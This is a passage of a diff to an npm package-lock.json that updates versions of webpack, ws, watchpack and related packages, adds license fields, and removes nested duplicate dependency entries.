+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz",
+      "integrity": "sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==",
       "funding": [
         {
           "type": "opencollective",
@@ -18176,9 +17979,10 @@
           "url": "https://github.com/sponsors/ai"
         }
       ],
+      "license": "MIT",
       "dependencies": {
-        "escalade": "^3.1.1",
-        "picocolors": "^1.0.0"
+        "escalade": "^3.2.0",
+        "picocolors": "^1.1.1"
       },
       "bin": {
         "update-browserslist-db": "cli.js"
@@ -18191,6 +17995,7 @@
       "version": "4.4.1",
       "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
       "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "punycode": "^2.1.0"
       }
@@ -18199,6 +18004,7 @@
       "version": "1.5.10",
       "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
       "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==",
+      "license": "MIT",
       "dependencies": {
         "querystringify": "^2.1.1",
         "requires-port": "^1.0.0"
@@ -18207,12 +18013,14 @@
     "node_modules/util-deprecate": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
-      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="
+      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
+      "license": "MIT"
     },
     "node_modules/util.promisify": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.1.tgz",
       "integrity": "sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==",
+      "license": "MIT",
       "dependencies": {
         "define-properties": "^1.1.3",
         "es-abstract": "^1.17.2",
@@ -18226,12 +18034,14 @@
     "node_modules/utila": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz",
-      "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA=="
+      "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==",
+      "license": "MIT"
     },
     "node_modules/utils-merge": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
       "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4.0"
       }
@@ -18240,6 +18050,7 @@
       "version": "8.3.2",
       "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
       "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+      "license": "MIT",
       "bin": {
         "uuid": "dist/bin/uuid"
       }
@@ -18248,6 +18059,7 @@
       "version": "8.1.1",
       "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-8.1.1.tgz",
       "integrity": "sha512-FGtKtv3xIpR6BYhvgH8MI/y78oT7d8Au3ww4QIxymrCtZEh5b8gCw2siywE+puhEmuWKDtmfrvF5UlB298ut3w==",
+      "license": "ISC",
       "dependencies": {
         "@types/istanbul-lib-coverage": "^2.0.1",
         "convert-source-map": "^1.6.0",
@@ -18260,17 +18072,20 @@
     "node_modules/v8-to-istanbul/node_modules/convert-source-map": {
       "version": "1.9.0",
       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
-      "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A=="
+      "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
+      "license": "MIT"
     },
     "node_modules/value-equal": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-1.0.1.tgz",
-      "integrity": "sha512-NOJ6JZCAWr0zlxZt+xqCHNTEKOsrks2HQd4MqhP1qy4z1SkbEP467eNx6TgDKXMvUOb+OENfJCZwM+16n7fRfw=="
+      "integrity": "sha512-NOJ6JZCAWr0zlxZt+xqCHNTEKOsrks2HQd4MqhP1qy4z1SkbEP467eNx6TgDKXMvUOb+OENfJCZwM+16n7fRfw==",
+      "license": "MIT"
     },
     "node_modules/vary": {
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
       "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.8"
       }
@@ -18280,6 +18095,7 @@
       "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz",
       "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==",
       "deprecated": "Use your platform's native performance.now() and performance.timeOrigin.",
+      "license": "MIT",
       "dependencies": {
         "browser-process-hrtime": "^1.0.0"
       }
@@ -18288,6 +18104,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz",
       "integrity": "sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==",
+      "license": "MIT",
       "dependencies": {
         "xml-name-validator": "^3.0.0"
       },
@@ -18299,6 +18116,7 @@
       "version": "1.0.8",
       "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz",
       "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==",
+      "license": "Apache-2.0",
       "dependencies": {
         "makeerror": "1.0.12"
       }
@@ -18307,14 +18125,16 @@
       "version": "4.0.3",
       "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz",
       "integrity": "sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==",
+      "license": "MIT",
       "dependencies": {
         "loose-envify": "^1.0.0"
       }
     },
     "node_modules/watchpack": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz",
-      "integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==",
+      "version": "2.4.4",
+      "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.4.tgz",
+      "integrity": "sha512-c5EGNOiyxxV5qmTtAB7rbiXxi1ooX1pQKMLX/MIabJjRA0SJBQOjKF+KSVfHkr9U1cADPon0mRiVe/riyaiDUA==",
+      "license": "MIT",
       "dependencies": {
         "glob-to-regexp": "^0.4.1",
         "graceful-fs": "^4.1.2"
@@ -18327,6 +18147,7 @@
       "version": "1.7.3",
       "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz",
       "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==",
+      "license": "MIT",
       "dependencies": {
         "minimalistic-assert": "^1.0.0"
       }
@@ -18334,44 +18155,47 @@
     "node_modules/web-vitals": {
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/web-vitals/-/web-vitals-1.1.2.tgz",
-      "integrity": "sha512-PFMKIY+bRSXlMxVAQ+m2aw9c/ioUYfDgrYot0YUa+/xa0sakubWhSDyxAKwzymvXVdF4CZI71g06W+mqhzu6ig=="
+      "integrity": "sha512-PFMKIY+bRSXlMxVAQ+m2aw9c/ioUYfDgrYot0YUa+/xa0sakubWhSDyxAKwzymvXVdF4CZI71g06W+mqhzu6ig==",
+      "license": "Apache-2.0"
     },
     "node_modules/webidl-conversions": {
       "version": "6.1.0",
       "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-6.1.0.tgz",
       "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==",
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=10.4"
       }
     },
     "node_modules/webpack": {
-      "version": "5.90.2",
-      "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.90.2.tgz",
-      "integrity": "sha512-ziXu8ABGr0InCMEYFnHrYweinHK2PWrMqnwdHk2oK3rRhv/1B+2FnfwYv5oD+RrknK/Pp/Hmyvu+eAsaMYhzCw==",
+      "version": "5.99.9",
+      "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.99.9.tgz",
+      "integrity": "sha512-brOPwM3JnmOa+7kd3NsmOUOwbDAj8FT9xDsG3IW0MgbN9yZV7Oi/s/+MNQ/EcSMqw7qfoRyXPoeEWT8zLVdVGg==",
+      "license": "MIT",
       "dependencies": {
-        "@types/eslint-scope": "^3.7.3",
-        "@types/estree": "^1.0.5",
-        "@webassemblyjs/ast": "^1.11.5",
-        "@webassemblyjs/wasm-edit": "^1.11.5",
-        "@webassemblyjs/wasm-parser": "^1.11.5",
-        "acorn": "^8.7.1",
-        "acorn-import-assertions": "^1.9.0",
-        "browserslist": "^4.21.10",
+        "@types/eslint-scope": "^3.7.7",
+        "@types/estree": "^1.0.6",
+        "@types/json-schema": "^7.0.15",
+        "@webassemblyjs/ast": "^1.14.1",
+        "@webassemblyjs/wasm-edit": "^1.14.1",
+        "@webassemblyjs/wasm-parser": "^1.14.1",
+        "acorn": "^8.14.0",
+        "browserslist": "^4.24.0",
         "chrome-trace-event": "^1.0.2",
-        "enhanced-resolve": "^5.15.0",
+        "enhanced-resolve": "^5.17.1",
         "es-module-lexer": "^1.2.1",
         "eslint-scope": "5.1.1",
         "events": "^3.2.0",
         "glob-to-regexp": "^0.4.1",
-        "graceful-fs": "^4.2.9",
+        "graceful-fs": "^4.2.11",
         "json-parse-even-better-errors": "^2.3.1",
         "loader-runner": "^4.2.0",
         "mime-types": "^2.1.27",
         "neo-async": "^2.6.2",
-        "schema-utils": "^3.2.0",
+        "schema-utils": "^4.3.2",
         "tapable": "^2.1.1",
-        "terser-webpack-plugin": "^5.3.10",
-        "watchpack": "^2.4.0",
+        "terser-webpack-plugin": "^5.3.11",
+        "watchpack": "^2.4.1",
         "webpack-sources": "^3.2.3"
       },
       "bin": {
@@ -18391,9 +18215,10 @@
       }
     },
     "node_modules/webpack-dev-middleware": {
-      "version": "5.3.3",
-      "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.3.tgz",
-      "integrity": "sha512-hj5CYrY0bZLB+eTO+x/j67Pkrquiy7kWepMHmUMoPsmcUaeEnQJqFzHJOyxgWlq746/wUuA64p9ta34Kyb01pA==",
+      "version": "5.3.4",
+      "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.4.tgz",
+      "integrity": "sha512-BVdTqhhs+0IfoeAf7EoH5WE+exCmqGerHfDM0IL096Px60Tq2Mn9MAbnaGUe6HiMa41KMCYF19gyzZmBcq/o4Q==",
+      "license": "MIT",
       "dependencies": {
         "colorette": "^2.0.10",
         "memfs": "^3.4.3",
@@ -18412,64 +18237,11 @@
         "webpack": "^4.0.0 || ^5.0.0"
       }
     },
-    "node_modules/webpack-dev-middleware/node_modules/ajv": {
-      "version": "8.12.0",
-      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz",
-      "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==",
-      "dependencies": {
-        "fast-deep-equal": "^3.1.1",
-        "json-schema-traverse": "^1.0.0",
-        "require-from-string": "^2.0.2",
-        "uri-js": "^4.2.2"
-      },
-      "funding": {
-        "type": "github",
-        "url": "https://github.com/sponsors/epoberezkin"
-      }
-    },
-    "node_modules/webpack-dev-middleware/node_modules/ajv-keywords": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
-      "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
-      "dependencies": {
-        "fast-deep-equal": "^3.1.3"
-      },
-      "peerDependencies": {
-        "ajv": "^8.8.2"
-      }
-    },
-    "node_modules/webpack-dev-middleware/node_modules/fast-deep-equal": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
-      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
-    },
-    "node_modules/webpack-dev-middleware/node_modules/json-schema-traverse": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
-      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
-    },
-    "node_modules/webpack-dev-middleware/node_modules/schema-utils": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz",
-      "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==",
-      "dependencies": {
-        "@types/json-schema": "^7.0.9",
-        "ajv": "^8.9.0",
-        "ajv-formats": "^2.1.1",
-        "ajv-keywords": "^5.1.0"
-      },
-      "engines": {
-        "node": ">= 12.13.0"
-      },
-      "funding": {
-        "type": "opencollective",
-        "url": "https://opencollective.com/webpack"
-      }
-    },
     "node_modules/webpack-dev-server": {
-      "version": "4.15.1",
-      "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.15.1.tgz",
-      "integrity": "sha512-5hbAst3h3C3L8w6W4P96L5vaV0PxSmJhxZvWKYIdgxOQm8pNZ5dEOmmSLBVpP85ReeyRt6AS1QJNyo/oFFPeVA==",
+      "version": "4.15.2",
+      "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.15.2.tgz",
+      "integrity": "sha512-0XavAZbNJ5sDrCbkpWL8mia0o5WPOd2YGtxrEiZkBK9FjLppIUK2TgxK6qGD2P3hUXTJNNPVibrerKcx5WkR1g==",
+      "license": "MIT",
       "dependencies": {
         "@types/bonjour": "^3.5.9",
         "@types/connect-history-api-fallback": "^1.3.5",
@@ -18499,7 +18271,7 @@
         "serve-index": "^1.9.1",
         "sockjs": "^0.3.24",
         "spdy": "^4.0.2",
-        "webpack-dev-middleware": "^5.3.1",
+        "webpack-dev-middleware": "^5.3.4",
         "ws": "^8.13.0"
       },
       "bin": {
@@ -18524,41 +18296,10 @@
         }
       }
     },
-    "node_modules/webpack-dev-server/node_modules/ajv": {
-      "version": "8.12.0",
-      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz",
-      "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==",
-      "dependencies": {
-        "fast-deep-equal": "^3.1.1",
-        "json-schema-traverse": "^1.0.0",
-        "require-from-string": "^2.0.2",
-        "uri-js": "^4.2.2"
-      },
-      "funding": {
-        "type": "github",
-        "url": "https://github.com/sponsors/epoberezkin"
-      }
-    },
-    "node_modules/webpack-dev-server/node_modules/ajv-keywords": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
-      "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
-      "dependencies": {
-        "fast-deep-equal": "^3.1.3"
-      },
-      "peerDependencies": {
-        "ajv": "^8.8.2"
-      }
-    },
-    "node_modules/webpack-dev-server/node_modules/fast-deep-equal": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
-      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
-    },
     "node_modules/webpack-dev-server/node_modules/html-entities": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.4.0.tgz",
-      "integrity": "sha512-igBTJcNNNhvZFRtm8uA6xMY6xYleeDwn3PeBCkDz7tHttv4F2hsDI2aPgNERWzvRcNYHNT3ymRaQzllmXj4YsQ==",
+      "version": "2.6.0",
+      "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.6.0.tgz",
+      "integrity": "sha512-kig+rMn/QOVRvr7c86gQ8lWXq+Hkv6CbAH1hLu+RG338StTpE8Z0b44SDVaqVu7HGKf27frdmUYEs9hTUX/cLQ==",
       "funding": [
         {
           "type": "github",
@@ -18568,35 +18309,14 @@
           "type": "patreon",
           "url": "https://patreon.com/mdevils"
         }
-      ]
-    },
-    "node_modules/webpack-dev-server/node_modules/json-schema-traverse": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
-      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
-    },
-    "node_modules/webpack-dev-server/node_modules/schema-utils": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz",
-      "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==",
-      "dependencies": {
-        "@types/json-schema": "^7.0.9",
-        "ajv": "^8.9.0",
-        "ajv-formats": "^2.1.1",
-        "ajv-keywords": "^5.1.0"
-      },
-      "engines": {
-        "node": ">= 12.13.0"
-      },
-      "funding": {
-        "type": "opencollective",
-        "url": "https://opencollective.com/webpack"
-      }
+      ],
+      "license": "MIT"
     },
     "node_modules/webpack-dev-server/node_modules/ws": {
-      "version": "8.16.0",
-      "resolved": "https://registry.npmjs.org/ws/-/ws-8.16.0.tgz",
-      "integrity": "sha512-HS0c//TP7Ina87TfiPUz1rQzMhHrl/SG2guqRcTOIUYD2q8uhUdNHZYJUaQ8aTGPzCh+c6oawMKW35nFl1dxyQ==",
+      "version": "8.18.3",
+      "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.3.tgz",
+      "integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==",
+      "license": "MIT",
       "engines": {
         "node": ">=10.0.0"
       },
@@ -18617,6 +18337,7 @@
       "version": "4.1.1",
       "resolved": "https://registry.npmjs.org/webpack-manifest-plugin/-/webpack-manifest-plugin-4.1.1.tgz",
       "integrity": "sha512-YXUAwxtfKIJIKkhg03MKuiFAD72PlrqCiwdwO4VEXdRO5V0ORCNwaOwAZawPZalCbmH9kBDmXnNeQOw+BIEiow==",
+      "license": "MIT",
       "dependencies": {
         "tapable": "^2.0.0",
         "webpack-sources": "^2.2.0"
@@ -18632,6 +18353,7 @@
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -18640,6 +18362,7 @@
       "version": "2.3.1",
       "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-2.3.1.tgz",
       "integrity": "sha512-y9EI9AO42JjEcrTJFOYmVywVZdKVUfOvDUPsJea5GIr1JOEGFVqwlY2K098fFoIjOkDzHn2AjRvM8dsBZu+gCA==",
+      "license": "MIT",
       "dependencies": {
         "source-list-map": "^2.0.1",
         "source-map": "^0.6.1"
@@ -18649,9 +18372,10 @@
       }
     },
     "node_modules/webpack-sources": {
-      "version": "3.2.3",
-      "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz",
-      "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==",
+      "version": "3.3.3",
+      "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.3.3.tgz",
+      "integrity": "sha512-yd1RBzSGanHkitROoPFd6qsrxt+oFhg/129YzheDGqeustzX0vTZJZsSsQjVQC4yzBQ56K55XU8gaNCtIzOnTg==",
+      "license": "MIT",
       "engines": {
         "node": ">=10.13.0"
       }
@@ -18660,6 +18384,7 @@
       "version": "5.1.1",
       "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
       "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "esrecurse": "^4.3.0",
         "estraverse": "^4.1.1"
@@ -18672,6 +18397,7 @@
       "version": "4.3.0",
       "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
       "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=4.0"
       }
@@ -18680,6 +18406,7 @@
       "version": "0.7.4",
       "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
       "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
+      "license": "Apache-2.0",
       "dependencies": {
         "http-parser-js": ">=0.5.1",
         "safe-buffer": ">=5.1.0",
@@ -18693,6 +18420,7 @@
       "version": "0.1.4",
       "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz",
       "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==",
+      "license": "Apache-2.0",
       "engines": {
         "node": ">=0.8.0"
       }
@@ -18701,6 +18429,7 @@
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz",
       "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==",
+      "license": "MIT",
       "dependencies": {
         "iconv-lite": "0.4.24"
       }
@@ -18709,6 +18438,7 @@
       "version": "0.4.24",
       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
       "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+      "license": "MIT",
       "dependencies": {
         "safer-buffer": ">= 2.1.2 < 3"
       },
@@ -18719,17 +18449,20 @@
     "node_modules/whatwg-fetch": {
       "version": "3.6.20",
       "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.20.tgz",
-      "integrity": "sha512-EqhiFU6daOA8kpjOWTL0olhVOF3i7OrFzSYiGsEMB8GcXS+RrzauAERX65xMeNWVqxA6HXH2m69Z9LaKKdisfg=="
+      "integrity": "sha512-EqhiFU6daOA8kpjOWTL0olhVOF3i7OrFzSYiGsEMB8GcXS+RrzauAERX65xMeNWVqxA6HXH2m69Z9LaKKdisfg==",
+      "license": "MIT"
     },
     "node_modules/whatwg-mimetype": {
       "version": "2.3.0",
       "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz",
-      "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g=="
+      "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==",
+      "license": "MIT"
     },
     "node_modules/whatwg-url": {
       "version": "8.7.0",
       "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-8.7.0.tgz",
       "integrity": "sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==",
+      "license": "MIT",
       "dependencies": {
         "lodash": "^4.7.0",
         "tr46": "^2.1.0",
@@ -18743,6 +18476,7 @@
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
       "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+      "license": "ISC",
       "dependencies": {
         "isexe": "^2.0.0"
       },
@@ -18754,37 +18488,16 @@
       }
     },
     "node_modules/which-boxed-primitive": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz",
-      "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==",
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz",
+      "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==",
+      "license": "MIT",
       "dependencies": {
-        "is-bigint": "^1.0.1",
-        "is-boolean-object": "^1.1.0",
-        "is-number-object": "^1.0.4",
-        "is-string": "^1.0.5",
-        "is-symbol": "^1.0.3"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/ljharb"
-      }
-    },
-    "node_modules/which-builtin-type": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.1.3.tgz",
-      "integrity": "sha512-YmjsSMDBYsM1CaFiayOVT06+KJeXf0o5M/CAd4o1lTadFAtacTUM49zoYxr/oroopFDfhvN6iEcBxUyc3gvKmw==",
-      "dependencies": {
-        "function.prototype.name": "^1.1.5",
-        "has-tostringtag": "^1.0.0",
-        "is-async-function": "^2.0.0",
-        "is-date-object": "^1.0.5",
-        "is-finalizationregistry": "^1.0.2",
-        "is-generator-function": "^1.0.10",
-        "is-regex": "^1.1.4",
-        "is-weakref": "^1.0.2",
-        "isarray": "^2.0.5",
-        "which-boxed-primitive": "^1.0.2",
-        "which-collection": "^1.0.1",
-        "which-typed-array": "^1.1.9"
+        "is-bigint": "^1.1.0",
+        "is-boolean-object": "^1.2.1",
+        "is-number-object": "^1.1.1",
+        "is-string": "^1.1.1",
+        "is-symbol": "^1.1.1"
       },
       "engines": {
         "node": ">= 0.4"
@@ -18793,30 +18506,70 @@
